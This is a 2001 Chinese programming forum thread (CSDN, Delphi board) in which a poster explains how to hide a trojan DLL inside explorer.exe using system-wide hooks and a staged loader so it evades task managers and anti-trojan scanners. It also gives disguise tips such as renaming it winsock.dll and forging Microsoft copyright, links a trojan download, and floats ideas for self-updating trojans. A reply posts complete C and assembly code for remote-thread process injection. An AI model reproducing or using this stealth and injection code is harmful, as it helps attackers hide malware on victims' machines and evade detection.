![]() ![]() |
CSDN首页 | 新闻聚焦 | 共享软件 | 俱乐部![]() |
![]() ![]() ![]() ![]() ![]() |
主 题:想学win9x,nt,w2k下进程的深度隐藏吗?来这里吧....................... 作 者:njhhack 所属论坛:Delphi 问题点数:20 回复次数:90 发表时间:2001-6-12 13:09:00 |
利用windows的一个*.dll御截漏洞,可以实现在win9x,nt,w2k下进程的深度隐藏,按CTRL+ALT+DEL看不到,用终极防线也看不到,这是我的最新发现,想和大家一起讨论, 我已实现了这一功能,源程在http://njhhack.freehomepages.com/source/hideproc.zip 我的oicq:10772919 e-mail:njhhack@21cn.com homepage:hotsky.363.net |
回复贴子: |
![]() | 得0分 |
3X! |
![]() | 得0分 |
希望大家不要用来干坏事儿~~~~~~~~ 我以前也想用注入另外一个进程的方法来实现,但是一直没有做成~~~~~~~~:(,只想对你说: 我对你的敬仰之情如滔滔江水。。。。。。。。。。。 |
![]() | 得0分 |
高!!实在是高!!!!!!!! |
![]() | 得0分 |
确实不错 |
![]() | 得0分 |
呵呵,各位兄弟,配合我的Delphi源码,讲一下它的工作原理吧,不过大家不要用来做坏事哟,我可是从不黑人的,谁让我是人民教师哟,原理如下: 我编了个启动程序winexec.exe用它来启动install.dll这个安装库,install.dll中有个安装函数用来启动getkey.dll这个执行库,getkey.dll里面有我的木马程序,这个getkey.dll库被挂到explorer.exe的进空间中,然后winexec.exe和install.dll在内存中自动御载,但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞),因为这时系统中已没有我的winexec.exe存在,所以按CTRL+ALT+DEL查不到有我的进程在运行,这就是进程三级跳. 呵呵,可是,大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗,请听我慢慢道来: 在windows系统中,要进入另一个进程的空间有很多方法,最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook,这是它能收到所以系统中传输的消息,而且若消息是其它进程的线程发出或接收的,那么该*.dll(就是我程序中的install.dll啦)会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块,这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地,但这只是开始,因为我们的目标是隐藏自已的进程,所以要把winexec.exe在内存中去掉,但这不是我们想要的结果,大家想想,install.dll是由winexec.exe调用的,所以,当winexec.exe死掉后,install.dll也活不成,我们在explorer.exe中占下的一席之地就又没了,那如何办呢,呵呵,听我慢慢讲来: 上面我们说了,当install.dll在explorer.exe中安家后,我们创建的线程就是explorer.exe的子线程,那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块,根据*.dll的特殊性(就是我认为的*.dll的御载漏洞),在install.dll从内存中御掉后,被它调用的getkey.dll还在内存中好好的活着呢,呵呵,微软真是个好宝宝,为我们提供了这么好的驻留内存的机会,我想之所以这样,是因为*.dll不可以成为另一个*.dll的拥有者,只有*.exe才能成为*.dll的拥有者吧,所以explorer.exe就成了getkey.dll的合法拥有者,呵呵,因为explorer.exe是微软的好东东,所以永远在内存中活着,那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟,这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家,呵呵,我们终于可以过河拆桥了,不要说我坏呀,我不要这么做,可不这样的话我的winexec.exe这会被人发现了呀,好可怜哟,这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令,就会让讨厌的winexec.exe(不对,是可爱的,只不过你的任务完成了,没有了哟,呵呵)从内存中死掉,当然它的好儿子install.dll也会随父而去,但我们可爱的getkey.dll确好好的活在内存中(啊啊,这是为什么呀,gekey.dll的爷爷winexec.exe都死了,它的孙子getkey.dll为何不死呀,呵呵,别忘了哟,getkey.dll的继父explorer.exe很有本事哟,它把它保护的好好的哟,所以死不了的啦),呵呵,明白了吗,这时的内存中已经没有了winexec.exe和install.dll的身影,只有getkey.dll存在,而且是explorer.exe的一个调用模块,当然用CTRL+ALT+DEL只能看到好人explorer.exe,而winexec.exe送给它的坏儿子是看不到了啦,呵呵,如果你用prcview或用spy++,winsight包括各种深度查木马程序(如终极防线)查的话,你只能看到getkey.dll在内存中,但调用者是explorer.exe(这是比尔的好孩子哟,没人怀疑它做坏事吧,呵呵),所以就没人理这个getkey.dll这个坏孩子啦,呵呵,若实在有高手认为它可疑,那好吧,我们加工加工,把getkey.dll的名字改成winsock.dll,然后放在和windows中自带的winsock不同的目录中,呵呵没人怀疑这个文件吧,当然把getkey.dll的版权信息改成是微软的更好啦,呀呀,比尔你不要生气呀,谁叫你这么坏哪,呵呵,我走了.............. |
![]() | 得0分 |
不用 postmessage(findwindow('winexec',nil),wm_destroy,0,0) 用 CreateRemoteProcess 为explorer.exe创建一个 LoadLibrary的进程,将getkey.dll load进去,在getkey.dll的dllmain中,做需要做的事情,然后,如果不调用 freelibrary,那么,getkey.dll就常驻再explorer.exe的内存中了。 这个时候,winexec要退出,或者什么,都可以了。 |
![]() | 得0分 |
哦,写错了。 用 CreateRemoteProcess 为explorer.exe创建一LoadLibrary 线程!! 不是进程. sorry. |
![]() | 得0分 |
CreateRemoteProcess只能用在nt,w2k中,win9x中不能用呀,虽然win9x中可以用registerservices.......隐藏,但用终极防线还是能查的呀,呵呵 |
![]() | 得0分 |
我再分析,优化一下 剑影兄 的流程 winexec.exe 创建 Hook,用install.dll Hook explorer's 的消息 在hook中,如果发现是explorer.exe,那么{ //现在在explorer的进程中 LoadLibrary("getkey.dll"); 创建线程,或者其他的工作. //现在,可以UnHook 了. //退出winexec和install.dll } 这样, getkey.dll 就在explorer了. right? |
![]() | 得0分 |
snake12兄说的不错,呵呵,比我写的简单多了,我是怕人家不理解才多写了一点的,可能费话多了吧,不要怪我哟 |
![]() | 得0分 |
好厉害哟!我好佩服!! |
![]() | 得0分 |
请教高手: WIN9X中用registerservices是不是将进程注册为服务啊?在NT、2000中是否可以在任务管理器中看到? |
![]() | 得0分 |
to njhhack(剑影) :你网站上的东西都不能下载 |
![]() | 得0分 |
to LANDFISH:在win9x中用RegisterServiceProcess可以将一个进程注册为服务进程,这样按CTRL+ALT+DEL调出任务管理器时将看不到他的存在,不过用终极防线还是能看到的,所以没用,在nt,w2k下,这个函数没用,所以只有用CreateRemoteThread将进程隐藏,效果和我的程序差不多,但编程较简单,不过我的程序能通用于win9x,nt,w2k通用性强一点 ------------------ to yypp:我用的是www.freehomepages.com提供的免费主机,是美国佬的,可能速度不行吧,有时我也下不了的,大家要是能提供我个稳定的主机,我感激不尽哟,谢了 |
![]() | 得0分 |
简直是造福全人类啊 下载一个看看先 @_@ |
![]() | 得0分 |
为什么要三级跳? winexec创建一个全局钩子,直接让Install.dll到别的进程空间里头,然后让他自己调用LoadLibrary()增加自己的引用技术,winexec退出install.dll也会留在explorer.exe的进程空间里头了. |
![]() | 得0分 |
http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml |
![]() | 得0分 |
![]() | 得0分 |
to zhoutianshu(): 说的不错,install.dll调用自已也能驻留,但里面一些没用的内容也在,我不喜欢,呵呵,所以又搞了个干净的getkey.dll,你要喜欢,二级跳也行呀,我也实现过的,呵呵..... |
![]() | 得0分 |
njhhack(剑影)老兄: 我对你的敬仰之情如滔滔江水,连绵不绝,又如黄河泛滥,一发不可收拾。。。。。。。。。。 (以下省略X万字)。不说了,再说要挨臭鸡蛋了。:) 去down下来看看先。 |
![]() | 得0分 |
公布这种损招作什么. 不好,不好. |
![]() | 得0分 |
崇拜! 当下来……学习学习 |
![]() | 得0分 |
Kao,在挂接DLL的技术中早就用烂了,又不是什么新的东西。 金山的取词就用了这种方案,还有《护花使者》中也是用的 这种挂接技术。用SetWindowsHookEx函数就可以了。 不过,用户还是可以用工具《Dll Show》就可以观察出自己 Explorer中是不是有很怪的DLL就知道了。 然后,强行中止Explorer,再启动新的Explorer,Delete getkey.dll 修改回Regist就可以恢复了。 在 Api的Hook中基本上很多程序用了这种方案。这不是漏洞,是功能!!!! |
![]() | 得0分 |
5555555555555 我公司的Proxy不许我访问http://njhhack.freehomepages.com/source/hideproc.zip 剑影老大,能否给我邮一份?llshore@ccidnet.com |
![]() | 得0分 |
我也不能下载呀,EMAIL给我一个吧! crackx@china.com |
![]() | 得0分 |
to njhhack:不过这样还不能叫进程隐藏,因为根本就没有进程,只是一个DLL. 如果真是能隐藏winexec.exe还不错 to verybigbug:怎么可能有这么变态的用户? |
![]() | 得0分 |
我用IE也是下载不了,但是交给flashget下载OKl啦! |
![]() | 得0分 |
以上诸位的程序我都是过了。好像都不好使。如果可以的话请哪位发个源代码给我! 万分感谢!如果分不够还可以加! Email:zzy198@163.net |
![]() | 得0分 |
刚巧前一段我也用过这种方法。 考虑两个问题: 1 是我发现如果不用unhook的话,即使原进程(winexec)已经退出,有时那个dll仍然钩在那里不退出来。(我用的keyboardProc) 2 是explorer.exe可能装载多份,只要在文件夹选项里设置一下就成了。此时在任务列表里就有多个explorer.exe,那么,那个“孙子DLL”应该过继到哪个“父亲”进程里呢?如果进错了,那只要用户关闭“我的电脑”,那这个dll就死了;如果每个进程都贴一份,那我们的黑客程序就要多重运行了。 |
![]() | 得0分 |
错!!!explorer.exe不可能装载多份!! 那是多个线程而已!!!通过Ctrl+Alt+Del看到的是因为 他列出来的不是进程表!!!他们的ProcessId是相同的。 不要经常想到作病毒!!! 要为人民服务!!!!! |
![]() | 得0分 |
to njhhack,snake12 这一技术太高了,看来将来得多到Delphi论坛看看:) 不过尚有几问,望释疑 1)挂到explorer.exe后对目录或文件的操作权限怎样,可不可以越过文件操作许可管理? 2)照这么说,突破系统防线是由于向系统任意挂接dll,hook造成的,那这一操作本身有没有安全管理 3)当我dll在explorer.exe中执行时可不可以关闭explorer.exe中的线程--如果可以就可以进一步伪装了:) |
![]() | 得0分 |
![]() | 得0分 |
强烈建议赶快放在另一个下载点 我下N次都不行 |
![]() | 得0分 |
to verybigbug(): 我很配服老兄的善良,当然我也不会去害人,我只是想让大家知道windows很不安全,给新型木马留有很多创意空间,忘大家提高警惕,同时这一技术包含的很多编程技巧和思想也是值得大家学习的,我本人精通C,但我更喜欢Delphi,我想把Delphi发扬光大,所以只用Delphi举例,学C的朋友不要怪我,实在是Delphi为世之瑰宝 to kz(kz): 1.至于NT下的权限我没试过,还有在NT下能否挂到Explorer下我也没试过,大家帮我试试 2.我想微软把hook技术公开,就是为了实现进程的连接,其它大家帮我试 3.当一个进程闯入其它进程空间后,可以创建和关闭任线程,这是绝对可以的 最近我在想一个问题,就是如果一个木马的客户端和服务端能借能借助一个聊天服务器进行聊天的话,那么在木马的两头都不必开tcp或udp端口,那么防木马程序就难查它了, 还有,如果一个木马能定期到一个ftp服务器上检查它的最新版本并自动下载安装,那么这个木马更聪明了,因为木马的作都可以每天更新它的特征字,木马也能天天自我更新,那么象kv3000这种用特征字扫描木马的防木软件恐怕要哭了, 我在想网络真可怕,好可怕哟,呵呵.................. |
![]() | 得0分 |
佩服! |
![]() | 得0分 |
我在以下两个站点放了程序源码大家下了试试: 这是进程隐藏的: njhhack.top263.net/hidepro.zip hotsky.363.net/hidepro.zip 这是HOOK教学的源码: njhhack.top263.net/process.zip hotsky.363.net/process.zip 这是OICQ远程木马的源程,此程序不能害人,只能学习,使用者后果自负,与作者无关!!! hotsky.363.net/oicqhack.zip |
![]() | 得0分 |
我这里下载不了,能不能给mail一份给我啊?happyzsl@263.net 谢谢啦 |
![]() | 得0分 |
对不起上面网址有错: 这是进程隐藏的: <a href=http://njhhack.top263.net/hideproc.zip>hideproc.zip</a> <a href=http://hotsky.363.net/hideproc.zip>hideproc.zip</a> |
![]() | 得0分 |
弱 看看singleracer的ProcessHacker 早就实现了这些功能 并且也太容易了 |
![]() | 得0分 |
看我的C代码 ////////// .h file #ifndef _RUNTHREAD_H_ #define _RUNTHREAD_H_ extern "C" LPBYTE WINAPI GetCreateProcessThreadCodeAddress(); extern "C" DWORD WINAPI GetCreateProcessThreadCodeLength(); extern "C" LPBYTE WINAPI GetLoadDllThreadCodeAddress(); extern "C" DWORD WINAPI GetLoadDllThreadCodeLength(); BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable); BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen); DWORD GetProcessIDByName(LPCWSTR lpszName); typedef struct tagRUNTHREAD_PARAMETER { DWORD BaseAddress; DWORD FnLoadLibraryA; DWORD FnLoadLibraryW; DWORD FnGetModuleHandleA; DWORD FnGetModuleHandleW; DWORD FnGetProcAddress; LPVOID lpParameter; DWORD Reserve; }RUNTHREAD_PARAMETER; #endif ////////// .cpp file #include "stdafx.h" #include "RunThread.h" #include "ProcessInfo.h" BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); } BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen) { if(hProcess==NULL) return FALSE; if(lpThreadProc==NULL) return FALSE; if(dwCodeLen==0) return FALSE; DWORD dwOldProtect=0; //使lpThreadProc可读 BOOL b=::VirtualProtect(lpThreadProc, dwCodeLen, PAGE_EXECUTE_READWRITE, &dwOldProtect); if(!b) { return FALSE; } //在目标进程中为线程代码分配可读写执行的内存 LPBYTE lpDestThreadProc=(LPBYTE)::VirtualAllocEx(hProcess, NULL, dwCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpDestThreadProc==NULL) { ::VirtualProtect(lpThreadProc, dwCodeLen, dwOldProtect, &dwOldProtect); return FALSE; } //在目标进程中写入线程代码 DWORD dwWritten=0; b=::WriteProcessMemory(hProcess, lpDestThreadProc, lpThreadProc, dwCodeLen, &dwWritten); ::VirtualProtect(lpThreadProc, dwCodeLen, dwOldProtect, &dwOldProtect); if(!b) { ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE); return FALSE; } //在目标进程中为线程参数分配可读写的内存 RUNTHREAD_PARAMETER * lpRunThreadParameter=(RUNTHREAD_PARAMETER *)::VirtualAllocEx(hProcess, NULL, sizeof(RUNTHREAD_PARAMETER), MEM_COMMIT, PAGE_READWRITE); if(lpRunThreadParameter==NULL) { ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE); return FALSE; } LPBYTE lpDestParameter=NULL; if(lpParameter && dwParamLen>0) { lpDestParameter=(LPBYTE)::VirtualAllocEx(hProcess, NULL, dwParamLen, MEM_COMMIT, PAGE_READWRITE); if(lpDestParameter==NULL) { ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE); ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE); return FALSE; } b=::WriteProcessMemory(hProcess, lpDestParameter, lpParameter, dwParamLen, &dwWritten); if(!b) { ::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE); ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE); ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE); return FALSE; } } RUNTHREAD_PARAMETER rtp; rtp.FnGetModuleHandleA=(DWORD)GetModuleHandleA; rtp.FnGetModuleHandleW=(DWORD)GetModuleHandleW; rtp.FnLoadLibraryA=(DWORD)LoadLibraryA; rtp.FnLoadLibraryW=(DWORD)LoadLibraryW; rtp.FnGetProcAddress=(DWORD)GetProcAddress; rtp.Reserve=0; /* // debug rtp.lpParameter=lpParameter; rtp.BaseAddress=(DWORD)lpThreadProc; ((PTHREAD_START_ROUTINE)lpThreadProc)(&rtp); // debug */ rtp.lpParameter=lpDestParameter; rtp.BaseAddress=(DWORD)lpDestThreadProc; b=::WriteProcessMemory(hProcess, lpRunThreadParameter, &rtp, sizeof(RUNTHREAD_PARAMETER), &dwWritten); if(!b) { ::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE); ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE); ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE); return FALSE; } DWORD dwThreadID=0; HANDLE hThread=::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(lpDestThreadProc), lpRunThreadParameter, 0, &dwThreadID); ::WaitForSingleObject(hThread, INFINITE); ::CloseHandle(hThread); ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE); if(lpDestParameter) ::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE); ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE); return (hThread!=NULL); } DWORD GetProcessIDByName(LPCWSTR lpszName) { DWORD dwProcessID=0; int nLen=lstrlenW(lpszName); HMODULE hNtDll = ::GetModuleHandle( _T( "ntdll.dll") ); if(hNtDll) { PNtQuerySystemInformation NtQuerySystemInformation= (PNtQuerySystemInformation) GetProcAddress( hNtDll, _T("NtQuerySystemInformation") ); if(NtQuerySystemInformation) { BYTE * pBufferBase = (BYTE*)VirtualAlloc (NULL, SYSINFO_BUFSIZE, MEM_COMMIT, PAGE_READWRITE); if(pBufferBase) { if ( NtQuerySystemInformation( 5, pBufferBase, SYSINFO_BUFSIZE, NULL )==0) { SYSTEM_PROCESS_INFORMATION* pSysProcess = (SYSTEM_PROCESS_INFORMATION*)pBufferBase; do { // pSysProcess->usName if(::CompareStringW(LOCALE_USER_DEFAULT, NORM_IGNORECASE, lpszName, nLen, pSysProcess->usName.Buffer, pSysProcess->usName.Length/sizeof(WCHAR))==CSTR_EQUAL) { dwProcessID=pSysProcess->dUniqueProcessId; break; } // get the next process information block if ( pSysProcess->dNext != 0 ) pSysProcess = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pSysProcess + pSysProcess->dNext); else pSysProcess = NULL; } while ( pSysProcess != NULL ); } ::VirtualFree(pBufferBase, 0, MEM_RELEASE); } } } return dwProcessID; } ///////////// .asm file include stdafx.inc RUNTHREAD_PARAMETER STRUCT BaseAddress DWORD 0 FnLoadLibraryA DWORD 0 FnLoadLibraryW DWORD 0 FnGetModuleHandleA DWORD 0 FnGetModuleHandleW DWORD 0 FnGetProcAddress DWORD 0 lpParameter DWORD 0 Reserve DWORD 0 RUNTHREAD_PARAMETER ENDS LPRUNTHREAD_PARAMETER TYPEDEF PTR RUNTHREAD_PARAMETER OFF_BASEASSRESS EQU 0 OFF_LOADLIBRARYA EQU 4 OFF_LOADLIBRARYW EQU 8 OFF_GETMODULEHANDLEA EQU 12 OFF_GETMODULEHANDLEW EQU 16 OFF_GETPROCADDRESS EQU 20 OFF_PARAMETER EQU 24 OFF_RESERVE EQU 28 CREATE_DEFAULT_ERROR_MODE EQU 04000000h ;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下: ; mov edx, BaseAddress ; mov ecx, Lib_Kernel32_Name ; sub ecx, CreateProcessThreadBegin ; add edx, ecx .code ; ######################################################################### ; CreateProcess ThreadProc ; ######################################################################### ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORD CreateProcessThreadBegin: CreateProcessThreadProc proc lpParameter:DWORD LOCAL BaseAddress : DWORD LOCAL FnCreateProcessA : DWORD LOCAL ProccessInfo : PROCESS_INFORMATION LOCAL Startupinfo : STARTUPINFO ; int 3 jmp CreateProcessThreadProcEnterPoint Reserve_Data1: db 90h, 90h, 90h, 90h Lib_Kernel32_Name: db "kernel32",0 Reserve_Data2: db 0, 90h, 90h, 90h, 90h Func_CreateProcessA_Name: db "CreateProcessA", 0 Reserve_Data3: db 0, 90h, 90h, 90h, 90h CreateProcessThreadProcEnterPoint: ;保存寄存器 push ebx push esi push edi ;得到基地址 mov ebx, lpParameter MOVE BaseAddress, [ebx+OFF_BASEASSRESS] ;GeModuleHandleA("kernel32") mov edx, BaseAddress mov ecx, Lib_Kernel32_Name sub ecx, CreateProcessThreadBegin add edx, ecx push edx ;"kernel32" mov ebx, lpParameter call DWORD PTR [ebx+OFF_GETMODULEHANDLEA] ;FnGetModuleHandleA .if eax==0 jmp CreateProcessThreadProcExitPoint .endif ;GetProcAddress(eax, "CreateProcessA") mov edx, BaseAddress mov ecx, Func_CreateProcessA_Name sub ecx, CreateProcessThreadBegin add edx, ecx push edx ;"CreateProcessA push eax ;hModule mov ebx, lpParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax==0 jmp CreateProcessThreadProcExitPoint .endif mov FnCreateProcessA, eax Invoke ZeroMemory, ADDR Startupinfo, sizeof STARTUPINFO mov Startupinfo.cb, sizeof STARTUPINFO Invoke ZeroMemory, ADDR ProccessInfo, sizeof PROCESS_INFORMATION lea eax, ProccessInfo push eax lea eax, Startupinfo push eax push 0 push 0 mov eax, NORMAL_PRIORITY_CLASS or eax, CREATE_DEFAULT_ERROR_MODE push eax push TRUE push NULL push NULL mov ebx, lpParameter push DWORD PTR [ebx+OFF_PARAMETER] ;lpParameter push NULL call FnCreateProcessA CreateProcessThreadProcExitPoint: pop edi pop esi pop ebx ret CreateProcessThreadProc endp ZeroMemory proc lpAddr : DWORD, cbSize : DWORD cld xor eax, eax mov ecx, cbSize mov edi, lpAddr rep stosb ret ZeroMemory endp CreateProcessThreadEnd: CreateProcessThreadCodeLength equ CreateProcessThreadEnd-CreateProcessThreadBegin GetCreateProcessThreadCodeAddress proc mov eax, CreateProcessThreadBegin ret GetCreateProcessThreadCodeAddress endp GetCreateProcessThreadCodeLength proc mov eax, CreateProcessThreadCodeLength ret GetCreateProcessThreadCodeLength endp ; ######################################################################### ; LoadDll ThreadProc ; ######################################################################### LoadDllThreadBegin: LoadDllThreadProc proc lpParameter:DWORD ; int 3 ;保存寄存器 push ebx push esi push edi mov ebx, lpParameter push [ebx+OFF_PARAMETER] call DWORD PTR [ebx+OFF_LOADLIBRARYA] pop edi pop esi pop ebx ret LoadDllThreadProc endp LoadDllThreadEnd: LoadDllThreadCodeLength equ LoadDllThreadEnd-LoadDllThreadBegin GetLoadDllThreadCodeAddress proc mov eax, LoadDllThreadBegin ret GetLoadDllThreadCodeAddress endp GetLoadDllThreadCodeLength proc mov eax, LoadDllThreadCodeLength ret GetLoadDllThreadCodeLength endp end |
![]() | 得0分 |
用此方法可以在任意一个进程中加载自己的dll,而不需要什么漏洞 如果利用漏洞的话 当漏洞没有了 这种方法就失效了 |
![]() | 得0分 |
to noho(noho): 谢谢老兄,给我提供的这么好的程序源码,我很感激你,不过这里的都是Delphi兄弟,这个c加asm的东东大家看不太明白,有空了我把他翻译成Delphi的,让Delphi兄弟也看看这高技术的好处,呵呵,在下玩汇编时编了一个世界上最小的win9x程序,当然在nt下可以更小,若有高手见了不要骂我弱呀,我本来就是菜鸟,随便玩玩的,不好意思,呵呵 .......... ; ******************************************************************************** ; * The Small portable executable Format Program Information * ; ******************************************************************************** ; * Author:njhhack e-mail:njhhack@21cn.com homepage:hotsky.363.net * ; * Created Date:2001.5.6 * ; * Develop Tools Obtained from Copyright (C) 1987,1996 Borland International * ; * Turbo Assembler Version 4.1 : Tasm /m spe * ; * Turbo Link Version 7.1.30.1 : Tlink /3 /t spe, spe.exe * ; ******************************************************************************** ; +-------------------+ ; ¦ DOS-stub ¦ 50h ; +-------------------+ ; ¦ file-header ¦--+ 18h ; +-------------------+ ¦ ; ¦ optional header ¦ ¦ 60h-----------+ ; +-------------------+ +---Total =1c0h ¦---Total 0e0h ; ¦ data directories ¦ ¦ 80h-----------+ ; +-------------------+ ¦ ; ¦ section headers ¦--+ 28h----->Total 0b8h ; +-------------------+ ; ¦ section 1 ¦ .code Section ; +-------------------+ ; ¦ section 2 ¦ ; +-------------------+ ; ¦ ... ¦ ; +-------------------+ ; ¦ section n ¦ ; +-------------------+ ;***************************************************** ; DOS Stub ;***************************************************** .286p DosHeader SEGMENT ; BeginProgram: DosSignature db 'MZ' ; LastSectorLength dw 1 ; FileSize dw 2 ;this size include head section,the unit is 512 bytes RelocateTableNums dw 0 ; HeadSize dw 2 ;this size unit is 16 bytes MinMem dw 0 ; MaxMem dw 0ffffh ; OffsetSS dw 0 ; OffsetSP dw 0b8h ; FileCheckSum dw 0 ; OffsetIP dw 0 ; OffsetCS dw 0 ; FistRelocateAddress dw 3eh ;noused in pe OverloayNums dw 0 ; org 20h ; ;***************************************************** ; DOS Proc ;***************************************************** mov dx,offset DOS_MESSAGE+100h-20h ; mov ah,9 ; int 21h ; mov ax,4c01h ; int 21h ; DOS_MESSAGE db 'Run Win2000.',0dh,0ah,07,'$' ; org 3ch ;pe sig PeHeadAddress db 50h ; org 50h ; DosHeader ENDS ;***************************************************** ; File Header ;******************************************************** .586p FileHeader SEGMENT ; WinSignature dd 4550h ;PE Format Machine dw 14ch ;Intel 80386 NumberOfSections dw 1 ;.code Section TimeDateStamp dd 0352068f1h ; PointerToSymbolTable dd 0 ;unused NumberOfSymbols dd 0 ;unused SizeOfOptionalHeader dw 0e0h ;constant=optinal header+data Directory Characteristics dw 010fh ;executable on 32-bit-machine ;******************************************************** ; Optional Header ;******************************************************** Magic dw 010bh ;constant MajorLinkerVersion db 5 ;I'm version 0.0 :-) MinorLinkerVersion db 2 ; SizeOfCode dd 1000h ;32 bytes of code;100h SizeOfInitializedData dd 0 ;yet to find out;0 SizeOfUninitializedData dd 0 ;we don't have a BSS;0 AddressOfEntryPoint dd 1000h ;yet to find out;1010h BaseOfCode dd 1000h ;yet to find out;1000h BaseOfData dd 2000h ;yet to find out;200h ImageBase dd 400000h ;1 MB, chosen arbitrarily;400000h SectionAlignment dd 1000h ;32-bytes-alignment;100h ; FileAlignment dd 20h;200h ;32-bytes-alignment;200h ; MajorOperatingSystemVersion dw 4 ;NT 4.0 MinorOperatingSystemVersion dw 0 ; MajorImageVersion dw 1 ;version 1.2 MinorImageVersion dw 2 ; MajorSubsystemVersion dw 4 ;Win32 4.0 MinorSubsystemVersion dw 0 ; Win32VersionValue dd 0 ;unused? ; SizeOfImage dd 2000h ;yet to find out;200h SizeOfHeaders dd 200h ;yet to find out;200h CheckSum dd 0 ;not used for non-drivers Subsystem dw 2 ;Win32 console DllCharacteristics dw 0 ;unused (not a DLL) SizeOfStackReserve dd 100000h ;1 MB stack SizeOfStackCommit dd 1000h ;4 KB to start with SizeOfHeapReserve dd 100000h ;1 MB heap SizeOfHeapCommit dd 1000h ;4 KB to start with LoaderFlags dd 0 ;unknown NumberOfRvaAndSizes dd 10h ;constant ;***************************************************** ; Image Data Directories, ;*********************************************************************** ;Address Size Ide00Export dd 0,0 ;IMAGE_DIRECTORY_ENTRY_EXPORT (0) Ide01Import dd 0,0 ;IMAGE_DIRECTORY_ENTRY_IMPORT (1) Ide02Resource dd 0,0 ;IMAGE_DIRECTORY_ENTRY_RESOURCE (2) Ide03Exception dd 0,0 ;IMAGE_DIRECTORY_ENTRY_EXCEPTION (3) Ide04Security dd 0,0 ;IMAGE_DIRECTORY_ENTRY_SECURITY (4) Ide05BaseReloc dd 0,0 ;IMAGE_DIRECTORY_ENTRY_BASERELOC (5) Ide06Debug dd 0,0 ;IMAGE_DIRECTORY_ENTRY_DEBUG (6) Ide07Copyright dd 0,0 ;IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7) Ide08Globalptr dd 0,0 ;IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8) Ide09Tls dd 0,0 ;IMAGE_DIRECTORY_ENTRY_TLS (9) Ide10LoadConfig dd 0,0 ;IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10) Ide11BoundImport dd 0,0 ;IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11) Ide12Iat dd 0,0 ;IMAGE_DIRECTORY_ENTRY_IAT (12) Ide13 dd 0,0 ;13 Ide14 dd 0,0 ;14 Ide15 dd 0,0 ;15 ;********************************************************************** ; Section Header ;********************************************************************************** SectionName db '.code',0,0,0 ;".code",8 bytes VirtualSize dd 1000h ;unused VirtualAddress dd 1000h ;yet to find out SizeOfRawData dd 1000h ;size of code PointerToRawData dd 200h ;yet to find out PointerToRelocations dd 0 ;unused PointerToLinenumbers dd 0 ;unused NumberOfRelocations dw 0 ;unused NumberOfLinenumbers dw 0 ;unused Characteristics2 dd 60000020h ;code, executable, readable ;-----------------padding nulls----------------------------------------- dd PESize ; VersionCopyright db 'WIN32.PE 1.0' ; org 1b0h ; FileHeader ENDS ;********************************************************************************** ; .code Section ;********************************************************************************** CodeSection SEGMENT ;1 ret ; PESize = $ ; CodeSection ENDS END BeginProgram ;***************************************************************************** ;* njhhack 2001.5.6 Copyrigth(C) 2001-2004 Allrights Reserved. * ;* this PE File is Only 513 bytes,but it's a raw program,it's fun! ;***************************************************************************** |
![]() | 得0分 |
to noho: 请问您是如何获得 ntdll.dll中函数的定义(参数,返回值)?是否有这方面的资料关于未公开的api |
![]() | 得0分 |
谢谢njhhack(剑影) 前辈。不过我还有一个问题不明白,望不吝赐教:虽然你可以把自己的DLL挂到EXPLORER上去,但是你的木马(.EXE)还是没有运行啊,即使你可以使它从新运行,在任务管理器中还是可以看到的阿,那么挂上自己的DLL有什么用呢? 问题可能比较菜,别见笑,呵呵。 |
![]() | 得0分 |
好象下载的不是源码吧? |
![]() | 得0分 |
